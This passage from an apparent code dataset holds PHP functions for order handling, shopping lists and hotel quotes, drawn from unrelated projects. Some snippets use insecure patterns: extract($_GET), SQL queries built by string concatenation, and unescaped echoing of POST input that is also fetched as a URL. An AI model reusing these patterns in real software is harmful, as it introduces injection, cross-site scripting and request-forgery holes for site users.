($order_collection as $order_item) {\n $order = Mage::getModel('sales/order')->load($order_item->getId());\n // check if can be sent again\n if(Mage::helper('swisspostsales/Order')->isConnected($order)){\n \t Mage::helper('swisspost_api')->log(\n Mage::helper('core')->__('Stop sending again order: %s, odoo id: %s', $order->getId(), \n $order->getData(Epoint_SwissPostSales_Helper_Data::ORDER_ATTRIBUTE_CODE_ODOO_ID)\n )\n );\n \tcontinue;\n }\n // The order was not invoiced ???\n if(!$order->getInvoiceCollection()){\n \tMage::helper('swisspost_api')->log(\n Mage::helper('core')->__('Stop sending again order, no invoice: %s', $order->getId()\n )\n );\n \tcontinue;\n }\n Mage::helper('swisspost_api/Order')->createSaleOrder($order);\n }\n }", "function getOrders() {\n\t\t$orders = Mage::getModel ( 'sales/order' )->getCollection ()->addAttributeToSelect ( \"*\" )->addAttributeToFilter ( 'status', array ('complete') );\n\t\t$orders_data = $this->preapreOrdersTosend ( $orders );\n\t\treturn $orders_data;\n\t}", "public function activeOrders()\n {\n }", "public function shoppinglistAction(){\n \t$isAJAX = false;\n \t\n \t//get date in format 'Y-m-d'\n \t$date_str = $this->_request->getQuery(\"date\");\n \t//if no date param, get first day of week\n \tif($date_str == null){\n \t\t$date = new DateTime();\n \t\t$dateArr = getdate((int) $date->format('U'));\n \t\t$dow = $dateArr['wday'];\n\t\t\tif($dow > 0) $date->modify(\"-\".$dow.\" day\");\n \t}\n \telse{\n \t\t$date = new DateTime($date_str);\n \t\t$isAJAX = true;\n \t}\n \t\n \t\n \t//get date of first day of the week\n \t$startDate = new DateTime($date->format(\"Y-m-d\"));\n \t$stopDate = new DateTime($date->format(\"Y-m-d\"));\n \t\t$stopDate->modify(\"+6 day\");\n\n \t\t$mappings = array('one','two','three','four','five','six','seven','eight','nine','ten','eleven','twelve','thirteen','fourteen','fifteen');\n\t\t$ingredients_data = array();\t\n \t\t$cnt = 0;\n \t\t \n\t\t//get options, should be 3 records, one for each meal_type\n\t\t$options = new Options();\n\t\t$where = $options->getAdapter()->quoteInto('user_id = ?', $this->session->user_id);\n\n\t\t$options_row = $options->fetchAll($where);\n\t\twhile($options_row->valid()){\n\n\t\t\t$row = $options_row->current();\t\n\t\t\t$options_row->next();\t\n\t\t\t$menu_rs = null;\n\t\t\t\n\t\t\t//auto generation\n\t\t\tif($row->meal_generation == \"A\"){\n\t\t\t\t//select meals from auto_menu\n\t\t\t\t$auto_menu = new AutoMenu();\n\t\t\t\t$where = array(\n\t\t\t\t\t$auto_menu->getAdapter()->quoteInto('user_id = ?', $this->session->user_id),\n\t\t\t\t\t$auto_menu->getAdapter()->quoteInto('meal_type = ?', $row->meal_type),\n\t\t\t\t\t\"date between '\".$startDate->format(\"Y-m-d\").\"' and '\".$stopDate->format(\"Y-m-d\").\"'\"\n\t\t\t\t);\n\t\t\t\t$menu_rs = $auto_menu->fetchAll($where);\n\t\t\t\t\t\n\t\t\t\t//generate menu if meal does not exist for given day\n\t\t\t\tif(!$menu_rs->valid()){\n\t\t\t\t\t$this->_generateMenu($user_row->user_id, $date, $row->meal_type);\n\t\t\t\t\t//retrieve menu\n\t\t\t\t\t$where = array(\n\t\t\t\t\t\t$auto_menu->getAdapter()->quoteInto('user_id = ?', $this->session->user_id),\n\t\t\t\t\t\t$auto_menu->getAdapter()->quoteInto('meal_type = ?', $row->meal_type),\n\t\t\t\t\t\t\"date between '\".date_format($startDate, \"Y-m-d\").\"' and '\".date_format($stopDate, \"Y-m-d\").\"'\"\n\t\t\t\t\t);\n\t\t\t\t\t$menu_rs = $auto_menu->fetchAll($where);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//custom chosen menu\n\t\t\telse{\n\t\t\t\t//select meals from manual_meal table\n\t\t\t\t$manual_meal = new ManualMeal();\n\t\t\t\t$where = array(\n\t\t\t\t\t$manual_meal->getAdapter()->quoteInto('options_id = ?', $row->options_id),\n\t\t\t\t\t\"date between '\".date_format($startDate, \"Y-m-d\").\"' and '\".date_format($stopDate, \"Y-m-d\").\"'\"\n\t\t\t\t);\n\t\t\t\t$menu_rs = $manual_meal->fetchAll($where);\n\t\t\t}\n\t\t\t\n\t\t\twhile($menu_rs->valid()){\n\t\t\t\t$menu = $menu_rs->current();\n\t\t\t\t$menu_rs->next();\n\t\t\t\t\t\n\t\t\t\t//get recipe data\n\t\t\t\t$recipe = new Recipe();\n\t\t\t\t$where = $recipe->getAdapter()->quoteInto('recipe_id = ?', $menu->recipe_id);\n\t\t\t\t$recipe_row = $recipe->fetchRow($where);\n\t\t\t\t//populate recipe data\n\t\t\t\tif($recipe_row != null){\n\t\t\t\t\t$data = $this->_getRecipe($recipe_row);\n\t\t\t\t\t//get ingredients from recipe\n\t\t\t\t\tfor($i=0; $i<15; $i++){\n\t\t\t\t\t\tif(array_key_exists($mappings[$i], $data)){\n\t\t\t\t\t\t\t$ingredient = $data[$mappings[$i]]['ingredient'];\n\t\t\t\t\t\t\t$full_text = $data[$mappings[$i]]['amount'];\n\t\t\t\t\t\t\t$amount = $data[$mappings[$i]]['amount_decimal'];\n\t\t\t\t\t\t\t$measure = $data[$mappings[$i]]['measure'];\n\n\t\t\t\t\t\t\t$sum = null;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(array_key_exists($ingredient, $ingredients_data)) $sum = $ingredients_data[$ingredient];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//unknown\n\t\t\t\t\t\t\tif($amount == null && $measure == null){\n\t\t\t\t\t\t\t\tif($sum != null) $sum[$full_text] = $full_text;\n\t\t\t\t\t\t\t\telse $sum = array($full_text => $full_text);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if($measure == null || $measure == ''){\n\t\t\t\t\t\t\t\tif($sum != null && array_key_exists('NONE', $sum)) $sum['NONE'] = $sum['NONE'] + $amount;\n\t\t\t\t\t\t\t\telse if($sum != null) $sum['NONE'] = $amount;\n\t\t\t\t\t\t\t\telse $sum = array('NONE' => $amount);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t//find measurement\n\t\t\t\t\t\t\t\t$measurement = null;\n\t\t\t\t\t\t\t\t//convert pound to ounce\n\t\t\t\t\t\t\t\tif(strcasecmp($measure, 'pound') == 0 || strcasecmp($measure, 'lb') == 0 || strcasecmp($measure, 'lbs') == 0 || strcasecmp($measure, 'lb.') == 0 || strcasecmp($measure, 'lbs.') == 0) $measurement = Zend_Measure_Cooking_Weight::POUND;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'oz') == 0 || strcasecmp($measure, 'oz.') == 0 || strcasecmp($measure, 'ounce') == 0 || strcasecmp($measure, 'ounces') == 0) $measurement = Zend_Measure_Cooking_Volume::OUNCE;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'c') == 0 || strcasecmp($measure, 'c.') == 0 || strcasecmp($measure, 'cup') == 0 || strcasecmp($measure, 'cups') == 0) $measurement = Zend_Measure_Cooking_Volume::CUP_US;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'g') == 0 || strcasecmp($measure, 'gal') == 0 || strcasecmp($measure, 'g.') == 0 || strcasecmp($measure, 'gal.') == 0 || strcasecmp($measure, 'gallon') == 0 || strcasecmp($measure, 'gallons') == 0) $measurement = Zend_Measure_Cooking_Volume::GALLON_US;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'lt') == 0 || strcasecmp($measure, 'ltr') == 0 || strcasecmp($measure, 'lt.') == 0 || strcasecmp($measure, 'ltr.') == 0 || strcasecmp($measure, 'liter') == 0 || strcasecmp($measure, 'liters') == 0) $measurement = Zend_Measure_Cooking_Volume::LITER;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'qt') == 0 || strcasecmp($measure, 'qt.') == 0 || strcasecmp($measure, 'quart') == 0 || strcasecmp($measure, 'quarts') == 0) $measurement = Zend_Measure_Cooking_Volume::QUART;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'tsp') == 0 || strcasecmp($measure, 'tsp.') == 0 || strcasecmp($measure, 'teaspoon') == 0 || strcasecmp($measure, 'teaspoons') == 0) $measurement = Zend_Measure_Cooking_Volume::TEASPOON_US;\n\t\t\t\t\t\t\t\telse if(strcasecmp($measure, 'tbsp') == 0 || strcasecmp($measure, 'tbsp.') == 0 || strcasecmp($measure, 'tbs') == 0 || strcasecmp($measure, 'tbs.') == 0 || strcasecmp($measure, 'tablespoon') == 0 || strcasecmp($measure, 'tablespoons') == 0) $measurement = Zend_Measure_Cooking_Volume::TABLESPOON_US;\n\n\t\t\t\t\t\t\t\tif($measurement != null){\n\t\t\t\t\t\t\t\t\t$locale = new Zend_Locale('en');\n\t\t\t\t\t\t\t\t\tif($measurement == Zend_Measure_Cooking_Weight::POUND) $new = new Zend_Measure_Cooking_Weight($amount, $measurement, $locale);\n\t\t\t\t\t\t\t\t\telse $new = new Zend_Measure_Cooking_Volume($amount, $measurement, $locale);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif($sum != null && array_key_exists($measurement, $sum)) $sum[$measurement] = $sum[$measurement]->add($new);\n\t\t\t\t\t\t\t\t\telse if($sum != null) $sum[$measurement] = $new;\n\t\t\t\t\t\t\t\t\telse $sum = array($measurement => $new);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t//unknown measurement\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tif($sum != null && array_key_exists($measure, $sum)) $sum[$measure] = $sum[$measure] + $amount;\n\t\t\t\t\t\t\t\t\telse if($sum != null) $sum[$measure] = $amount;\n\t\t\t\t\t\t\t\t\telse $sum = array($measure => $amount);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$ingredients_data[$ingredient] = $sum;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$keysArr = array_keys($ingredients_data);\n\t\t\t$data = array();\n\t\t\tfor($i=0; $i<count($keysArr); $i++){\n\n\t\t\t\t$sum = $ingredients_data[$keysArr[$i]];\n\t\t\t\t$sumKeysArr = array_keys($sum);\n\t\t\t\t$ingredientStr = '';\n\t\t\t\tfor($j=0; $j<count($sumKeysArr); $j++){\n\t\t\t\t\tif($sum[$sumKeysArr[$j]] instanceof Zend_Measure_Abstract){\n\n\t\t\t\t\t\t$val = $sum[$sumKeysArr[$j]]->toString();\n\t\t\t\t\t\t$arr = explode(' ', $val);\n\t\t\t\t\t\t$ingredientStr = $ingredientStr.$this->_convertd2f($arr[0]).' '.$arr[1].', ';\n\t\t\t\t\t}\n\t\t\t\t\telse $ingredientStr = $ingredientStr.$sum[$sumKeysArr[$j]].', ';\n\t\t\t\t}\n\t\t\t\t//remove trailing ' ,'\n\t\t\t\t$data[$keysArr[$i]] = substr($ingredientStr, 0, strlen($ingredientStr)-2);\n\t\t\t}\n\t\t\t\n\t\t\t$this->view->ingredients_data = $data;\n\t\t}\n\t\t\n \tif($isAJAX){\n\t\t\t$this->_helper->viewRenderer->setNoRender();\n\t\t\tif($this->view->ingredients_data != null) $this->render('slist');\n\t\t\treturn;\n\t\t}\n }", "function retrieve_specific_week(){\n\t\t\n\t\t$week_index = $this->CI->input->post('index');\n\t\tif($week_index === false)\n\t\t\treturn \tarray('success' => false, 'message' => 'Invalid request');\n\t\t\n\t\t$pgla_id = $this->CI->input->post('pgla_id');\n\t\tif($pgla_id === false)\n\t\t\treturn \tarray('success' => false, 'message' => 'Invalid request');\n\t\t\n\t\t\n\t\t$this->CI->load->model('model_guest_lists', 'guest_lists', true);\n\t\t\n\t\t//retrieve day of week for pgla_id that guest list is authorized on & make sure pgla_id belongs to this promoter\n\t\tif(!$result = $this->CI->guest_lists->retrieve_plga_day_promoter_check($pgla_id, $this->promoter->up_id))\n\t\t\treturn array('success' => false, 'message' => 'Unknown error');\n\t\t\n\t\t$data = $this->CI->guest_lists->retrieve_single_guest_list_and_guest_list_members($pgla_id, $result->pgla_day, $week_index, $result->pgla_create_time);\n\t\t\n\t\t$response = new stdClass;\n\t\t$response->data = $data;\n\t\t\n\t\treturn array('success' => true, 'message' => $response);\n\t\t\n\t}", "public function reOpen_Orders_get() {\n extract($_GET);\n $result = $this->feeds_model->reOpen_Orders($order_id);\n return $this->response($result);\n }", "public function AllClosed_Orders_get() {\n extract($_GET);\n $result = $this->feeds_model->AllClosed_Orders();\n return $this->response($result);\n }", "function confirmOrder() {\n\t\t$sql = \"SELECT FROM \";\n\t\t$this -> db -> select(\"id, user_name, contact, addr1, addr2, pin, city, email, DATE_FORMAT(order_date, '%b %d %Y') AS order_date, DATE_FORMAT(order_date, '%h:%i %p') AS order_time, CASE WHEN DATEDIFF(order_date, now()) > 0 THEN 1 ELSE 0 END AS isnew, order_status, quantity\");\n\t\t$query = $this -> db -> get('registrations');\n\t\t$result = $query -> result();\n\t\treturn $result;\n\t}", "function viewReservedOrders()\n\t\t{\n\t\t\t $db = dbConnect::getInstance();\n \t\t $mysqli = $db->getConnection();\n\t\t\t$query = \" select * from check_tb where status = '3'\"; \n $res = $mysqli->query($query) or die (mysqli_error($mysqli));\t\n\t\t\tif(mysqli_num_rows($res) > 0) \n \t{\t\n\t\t\t\t$index=1;\t\t\t\n\t\t\t\twhile($row=mysqli_fetch_array($res))\n\t\t\t\t{\n\t\t\t\t\t$userQuery = \" select * from users_tb where id = '\".$row['u_id'].\"'\"; \n \t\t$userRes = $mysqli->query($userQuery) or die (mysqli_error($mysqli));\n\t\t\t\t\t$rowUser=mysqli_fetch_array($userRes);\t\n\t\t\t\t\t?>\n\t\t\t\t<div class=\"panel-group\" id=\"accordion\" role=\"tablist\" aria-multiselectable=\"true\">\n <div class=\"panel panel-primary\">\n <div class=\"panel-heading\" role=\"tab\" id=\"heading<?php echo $row['id'] ?>\">\n <h4 class=\"panel-title row\">\n <a role=\"button\" data-toggle=\"collapse\" data-parent=\"#accordion\" href=\"#check_<?php echo $row['id'] ?>\" aria-expanded=\"true\" aria-controls=\"check_<?php echo $row['id'] ?>\" class=\"col-sm-2 text-left\">\n <span >Order #<?php echo $index++; ?></span>\n </a>\n \n </h4>\n </div>\n <div id=\"check_<?php echo $row['id'] ?>\" class=\"panel-collapse collapse in\" role=\"tabpanel\" aria-labelledby=\"heading<?php echo $row['id'] ?>\">\n <div class=\"panel-body\">\n \n \n <!-- End Of Check -->\n <div class=\"row\">\n <table class=\"table table-bordered table-hover\">\n <thead >\n <tr class=\"info \">\n <th>Order Date</th>\n <th>Name</th>\n <th>Room</th>\n <th>Ext</th>\n <th>Action</th>\n </tr>\n </thead>\n <tbody >\n <tr >\n <td><?php echo $row['timeStamp'] ?></td>\n <td><?php echo $rowUser['name'] ?></td>\n <td><?php if($row['roomNo'] == \"0\"){echo \"No Room\";}else{ $returnRes = mysqli_fetch_array($mysqli->query(\"select name from rooms_tb where id = '\".$row['roomNo'].\"'\")); echo $returnRes[\"name\"]; } ?></td>\n <td><?php echo $rowUser['ext'] ?></td>\n <td class=\"text-center\"> <a href=\"orders.php?deliver=<?php echo $row['id'] ?>\" class=\"btn btn-info\">Deliver</a> </td>\n </tr>\n </tbody>\n \n </table>\n </div>\n <!-- End Of Check -->\n <!-- What User Buy -->\n <div class=\"row\">\n <?php\n\t\t\t\t\t\t\t\t$ordersQuery = \" select * from orders_tb where check_id = '\".$row['id'].\"'\"; \n\t\t\t \t\t$ordersRes = $mysqli->query($ordersQuery) or die (mysqli_error($mysqli));\n\t\t\t\t\t\t\t\twhile($rowOrder=mysqli_fetch_array($ordersRes))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$productQuery = \" select * from products_tb where id = '\".$rowOrder['prod_id'].\"'\"; \n\t\t\t \t\t\t$productRes = $mysqli->query($productQuery) or die (mysqli_error($mysqli));\n\t\t\t\t\t\t\t\t\t$rowProduct=mysqli_fetch_array($productRes);\n\t\t\t\t\t\t\t?>\n <div class=\"col-sm-2 \">\n \n <img src=\"uploads/products/<?php echo $rowProduct['prod_pic'] ?>\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"Price : <?php echo $rowProduct['price'] ?> LE\" class=\"img-responsive img-thumbnail\" />\n <h4 class=\"text-center text-muted\"><?php echo $rowProduct['name'] ?></h4>\n <h4 class=\"text-center text-muted\"><?php echo $rowOrder['amount'] ?></h4>\n \n </div>\n <?php\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t?>\n </div>\n <!-- End What User Buy -->\n <!-- Total Price -->\n <div class=\"row text-right\">\n \t<label>Total Price : <?php echo $row['total_price'] ?> EGP</label>&nbsp;&nbsp;\n </div>\n <!-- End of Total Price -->\n \n </div>\n </div>\n </div>\n </div>\n <!-- End Of Collaps 1 -->\n\t\t\t\t\t<?php\t\n\t\t\t\t}\n } \n else \n { \n \t?>\n \t<div class=\"alert alert-danger text-center\">Sorry No Reserved Orders Found On This DataBase</div>\n <?php \n } \n\t\t\t\n\t\t\t\t\n\t\t}", "function get_quote_hotels() {\n\t$datafile = $_POST['xml_url'];\n\t$random_id = $_POST['request_id'];\n\t\n\t$xml = bdtravel_get_xml_object( $datafile, 'quote_hotels_' . $random_id );\n\t\n\t//Load xml file\n\tif( ! $xml ) { \n\t\techo '<script type=\"text/javascript\">console.log(\"Unable to load XML file\")</script>';\n\t echo $datafile;\n } else { \n\t\techo '<script type=\"text/javascript\">console.log(\"XML file loaded successfully\")</script>'; \n\t}\n\n\t//Quote ID\n\t$quote_id = $xml->QuoteId;\n\n\t//Sort by Review->Rating\n\t$hotels = array();\n\tforeach( $xml->Hotels->Hotel as $hotel ) {\n\t $hotels[] = $hotel;\n\t};\n\n\t//Pagination\n \t$startPage = $_POST['page'];\n $perPage = 10;\n $currentRecord = 0;\n $total = count($hotels);\n\n\n\t//get hotel entry\n\tforeach ( $hotels as $hotel ) {\n\t\t$currentRecord += 1;\n\t if ( $currentRecord > ( $startPage * $perPage ) && $currentRecord < ( $startPage * $perPage + $perPage ) ) {\n\t \n\t\t $counter=\"<input type='hidden' class='nextpage' value='\".($startPage+1).\"'><input type='hidden' class='isload' value='true'>\";\n\n\t\t //getting hotel details\n\t\t\t$HName = $hotel[0]->Name;\n\t\t\t$HDescription = $hotel->Description;\n\t\t\t$HImage = $hotel->Image;\n\t\t\t$HCategory = $hotel->CategoryId;\n\t\t\t$HLocation = $hotel->CityName;\n\t\t\t$hotel_id = $hotel->Id;\n\t\t\t$HRating = $hotel->Reviews->Review->Rating;\n\t\t\t$hotel_endpoint = get_page_link( Helper_Functions::get_pages_configuration( 'page_hotel_details' ) );\n\n\t\t\t//Get room details\n\t\t\tforeach ( $hotel->Rooms->children() as $room ) {\n\t\t\t\tif( isset( $room->MealPlans->MealPlan->AverageTotal ) ){\n\t\t\t\t\t$tipoHabitacion = $room->Name;\n\t\t\t\t\t$planAlimentos = $room->MealPlans->MealPlan->Name;\n\t\t\t\t\t$precioPromedio = $room->MealPlans->MealPlan->AverageTotal;\n\t\t\t\t\t$precio_sin_promocion = $room->MealPlans->MealPlan->AverageNormal;\n\n\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// include template part\n\t\t\tinclude PLUGIN_PATH . '/template-parts/content-hotels.php';\n\t\t\t\t\n\t\t\tif( $currentRecord == $total ){\n\t\t\t\techo '<div>Sorry, no more results to display.</div>' ;\n\t\t\t}\n\t\t\n\t\t}\n\t} //ends foreach\n}", "public function ajax_call(): void\n {\n $order_number = filter_input(INPUT_POST, 'orderNumber');\n $email = filter_input(INPUT_POST, 'email');\n $widget_id = filter_input(INPUT_POST, 'widgetId');\n $options = get_option($this->option_name);\n\n [\n 'wordpress_url' => $wordpress_url,\n 'woocommerce_ck' => $woocommerce_ck,\n 'woocommerce_cs' => $woocommerce_cs\n ] = $options[$widget_id];\n\n $response = wp_remote_get(\"{$wordpress_url}/wp-json/wc/v2/orders/{$order_number}\", [\n 'headers' => [\n 'Authorization' => 'Basic ' . base64_encode(\n sprintf('%s:%s', $woocommerce_ck, $woocommerce_cs)\n )\n ]\n ]);\n\n $response_body = json_decode(wp_remote_retrieve_body($response), true);\n\n if (\n (isset($response_body['billing']['email']) && $response_body['billing']['email'] !== $email) ||\n wp_remote_retrieve_response_code($response) !== 200\n ) {\n echo esc_html__('Given order could not be found. ', self::NAMESPACE);\n exit;\n }\n\n echo sprintf(\n '%s: <b>%s</b>',\n esc_html__('Your order status is', self::NAMESPACE),\n mb_strtoupper($response_body['status'])\n );\n\n exit;\n }", "public function getOrdersSince($startDate) {\n $apiUrl = sprintf('%s/orderExtend?full=1&excludeAbandonedCart=1&limit=200&createdAtMin=%s&createdAtMax=%s', env('SHOPRENTER_API'), $startDate->toDateTimeLocalString(), Carbon::now()->toDateTimeLocalString());\n $data = [\n 'data' => [\n 'requests' => [],\n ],\n ];\n\n // Megrendelések 1. oldala lekérése\n $ch = curl_init();\n curl_setopt_array($ch, [\n CURLOPT_URL => $apiUrl,\n CURLOPT_HTTPHEADER => ['Content-Type:application/json', 'Accept:application/json'],\n CURLOPT_USERPWD => sprintf('%s:%s', env('SHOPRENTER_USER'), env('SHOPRENTER_PASSWORD')),\n CURLOPT_TIMEOUT => 120,\n CURLOPT_RETURNTRANSFER => true,\n ]);\n $response = json_decode(curl_exec($ch), true);\n $orders = array_key_exists('items', $response) ? $response['items'] : null;\n curl_close($ch);\n\n // Többi megrendelés hozzácsatolása\n if (array_key_exists('pageCount', $response) && $response['pageCount'] > 1) {\n for ($i = 1; $i <= $response['pageCount']; $i++) {\n $nextUrl = str_replace('page=1', 'page='.$i, $response['next']['href']);\n\n $data['data']['requests'][] = [\n 'method' => 'GET',\n 'uri' => $nextUrl,\n ];\n }\n }\n\n $ch = curl_init();\n curl_setopt_array($ch, [\n CURLOPT_URL => sprintf('%s/batch', env('SHOPRENTER_API')),\n CURLOPT_HTTPHEADER => ['Accept:application/json'],\n CURLOPT_USERPWD => sprintf('%s:%s', env('SHOPRENTER_USER'), env('SHOPRENTER_PASSWORD')),\n CURLOPT_TIMEOUT => 120,\n CURLOPT_POST => 1,\n CURLOPT_RETURNTRANSFER => true,\n ]);\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));\n $response = json_decode(curl_exec($ch), true);\n curl_close($ch);\n if ($response) {\n foreach ($response['requests']['request'] as $responseData) {\n if ($responseData['response']['header']['statusCode'] == 200) {\n // Összerakjuk\n $orders = array_merge($orders, $responseData['response']['body']['items']);\n }\n }\n }\n\n // Státuszok\n foreach ($orders as $order) {\n $data['data']['requests'][] = [\n 'method' => 'GET',\n 'uri' => str_replace('orderStatuses/', 'orderStatusDescriptions?orderStatusId=', $order['orderStatus']['href']).'&full=1',\n ];\n }\n $ch = curl_init();\n curl_setopt_array($ch, [\n CURLOPT_URL => sprintf('%s/batch', env('SHOPRENTER_API')),\n CURLOPT_HTTPHEADER => ['Accept:application/json'],\n CURLOPT_USERPWD => sprintf('%s:%s', env('SHOPRENTER_USER'), env('SHOPRENTER_PASSWORD')),\n CURLOPT_TIMEOUT => 120,\n CURLOPT_POST => 1,\n CURLOPT_RETURNTRANSFER => true,\n ]);\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));\n $response = json_decode(curl_exec($ch), true);\n curl_close($ch);\n if ($response) {\n foreach ($response['requests']['request'] as $responseData) {\n if ($responseData['response']['header']['statusCode'] == 200) {\n // Megkeressük, h melyik megrendeléshez való\n $found = false;\n foreach ($orders as &$order) {\n if ($order['orderStatus']['href'] == $responseData['response']['body']['items'][0]['orderStatus']['href']) {\n $order['statusData'] = $responseData['response']['body']['items'][0];\n $found = true;\n }\n }\n\n if (! $found) {\n Log::info('Nem található státusz egyik megrendeléshez sem:');\n Log::info('- ID: '.$responseData['response']['body']['items'][0]['id']);\n }\n }\n }\n }\n\n return $orders;\n }", "public function buysOfThisWeek() {\n $query = \"SELECT COUNT(*) AS 'BUYS', DAYOFWEEK(`BUYDATE`) AS 'DAY' FROM `BUY` WHERE WEEK(BUYDATE)\"\n . \" = WEEK(NOW()) GROUP BY DAYOFWEEK(`BUYDATE`)\";\n\n $result = parent::query($query);\n\n $toReturn = array();\n\n while ($row = $result->fetch_assoc()) {\n $toReturn[] = array(\n 'day' => $row['DAY'],\n 'buys' => $row['BUYS']\n );\n }\n\n return $toReturn;\n }", "public function index(Request $request)\n {\n //\n if($request->ajax()){\n return response()->json(OrderResource::collection(Order::where('is_complete', false)->get()));\n }\n else{\n return view('orders');\n }\n }", "private function getOrders()\n {\n $OD = $this->dbclient->coins->OwnOrderBook;\n\n $ownOrders = $OD->find(\n array('$or'=>\n array(array('Status'=>'buying'), array('Status'=>'selling'))\n ));\n\n $output = ' {\n \"success\" : true,\n \"message\" : \"\",\n \"result\" : [';\n foreach ($ownOrders as $ownOrder) {\n\n if ($ownOrder) {\n if ($ownOrder->Status == 'buying' or $ownOrder->Status == 'selling') {\n $uri = $this->baseUrl . 'public/getorderbook';\n $params['market'] = $ownOrder->MarketName;\n if ($ownOrder->Status == 'buying') {\n $params['type'] = 'sell';\n $params['uuid'] = $ownOrder->BuyOrder->uuid;\n $limit = 'buy';\n } elseif ($ownOrder->Status == 'selling') {\n $params['type'] = 'buy';\n $params['uuid'] = $ownOrder->SellOrder->uuid;\n $limit = 'sell';\n }\n\n if (!empty($params)) {\n $uri .= '?' . http_build_query($params);\n }\n\n $sign = hash_hmac('sha512', $uri, $this->apiSecret);\n $ch = curl_init($uri);\n curl_setopt($ch, CURLOPT_HTTPHEADER, array('apisign: ' . $sign));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($ch);\n $answer = json_decode($result);\n $success = false;\n $quantity = 0;\n $rate = 0;\n\n if ($answer->success == true) {\n $closest_rate = $answer->result[0]->Rate;\n\n if ($ownOrder->Status == 'buying' && $ownOrder->BuyOrder->Rate >= $closest_rate) {\n $success = true;\n $quantity = $answer->result[0]->Quantity;\n $rate = $answer->result[0]->Rate;\n }\n\n if ($ownOrder->Status == 'selling' && $ownOrder->SellOrder->Rate <= $closest_rate) {\n $success = true;\n $quantity = $answer->result[0]->Quantity;\n $rate = $answer->result[0]->Rate;\n }\n\n if (!$success) {\n $output = $output.'{\n \"AccountId\" : null,\n \"OrderUuid\" : \"' . $params['uuid'] . '\",\n \"Exchange\" : \"' . $params['market'] . '\",\n \"Type\" : \"LIMIT_' . strtoupper($limit) . '\",\n \"Quantity\" : ' . $quantity . ',\n \"QuantityRemaining\" : 0.00000000,\n \"Limit\" : 0.00000001,\n \"Reserved\" : 0.00001000,\n \"ReserveRemaining\" : 0.00001000,\n \"CommissionReserved\" : 0.00000002,\n \"CommissionReserveRemaining\" : 0.00000002,\n \"CommissionPaid\" : 0.00000000,\n \"Price\" : ' . $rate . ',\n \"PricePerUnit\" : ' . $closest_rate . ',\n \"Opened\" : \"2014-07-13T07:45:46.27\",\n \"Closed\" : null,\n \"IsOpen\" : true,\n \"Sentinel\" : \"6c454604-22e2-4fb4-892e-179eede20972\",\n \"CancelInitiated\" : false,\n \"ImmediateOrCancel\" : false,\n \"IsConditional\" : false,\n \"Condition\" : \"NONE\",\n \"ConditionTarget\" : null\n },';\n\n }\n }\n }\n }\n }\n $output = rtrim($output, ',').']\n}';\n return $output;\n }", "public function GetExpertTransactions(){\n\t\tif($this->IsLoggedIn('cashier')){\n\t\t\tif(isset($_GET) && !empty($_GET)){\n\t\t\t\t$where=array(\n\t\t\t\t\t'from_date'\t=>$_GET['from_date'],\n\t\t\t\t\t'to_date'\t\t=> $_GET['to_date']\n\t\t\t\t);\n\t\t\t\t\t$data=$this->CashierModel->GetExpertTransactions($where);\n\t\t\t\t\t$this->ReturnJsonArray(true,false,$data['res_arr']);\n die;\n\t\t\t}else{\n\t\t\t\t$this->ReturnJsonArray(false,true,\"Wrong Method!\");\n\t\t\t\tdie;\n\t\t\t}\t\t\t\t\t\t\n\t\t}\n\t\telse{\n\t\t\t\t$this->LogoutUrl(base_url().\"Cashier/\");\n\t\t}\n\t}", "public function clientorders(){\n\n //orders information\n $this->loadData(Orders::getOrder($_SESSION[\"userId\"]), \"oOrders1\");\n if(Orders::getOrder($_SESSION[\"userId\"])){\n //last order information\n foreach ($this->oOrders1 as $order1){ \n $this->loadData(OrdersproductsDetails::getOrderProductD($order1->id), \"oOrders\");\n //load list of orders each time\n $this->loadView(\"views/cmsOrders.php\", 1, \"list\"); \n } \n } \n \n //load list of orders\n //$this->loadView(\"views/cmsOrders.php\", 1, \"list\"); \n //user information\n $this->loadData(User::getCurrent(), \"oCurUser\");\n //load the header\n $this->loadView(\"views/header.php\", 1 ,\"header\"); \n //load the admin final view\n $this->loadLastView(\"views/cmsClient.php\"); \n $this->loadLastView(\"views/main.php\"); \n }", "function gettheseatchartAjax($showid, $currenturl, $bookings, $offline = '')\n{\nglobal $screenspacing,$wpdb;\n\t\t\tif ( is_user_logged_in() ) {\n\t\t\t\tglobal $current_user;\n\t\t\t\tget_currentuserinfo();\n\t\t\t\t$user_name=$current_user->user_firstname.' '.$current_user->user_lastname;\t\n\t\t\t\t$user_email=$current_user->user_email;\t\n\t\t\t\t$user_phone=$current_user->phone;\t\t\t\t\t\n\t\t\t} else {\t\t\t\n\t\t\t\t$user_name='';\t\n\t\t\t\t$user_email='';\t\n\t\t\t\t$user_phone='';\t\t\t\t\n\t\t\t}\t \n\t$wplanguagesoptions = get_option(RSTLANGUAGES_OPTIONS);\n\t$event_seat_available=\"Available\";\n\t$event_seat_inyourcart=\"In Your Cart\";\n\t$event_seat_inotherscart=\"In Other&#39;s 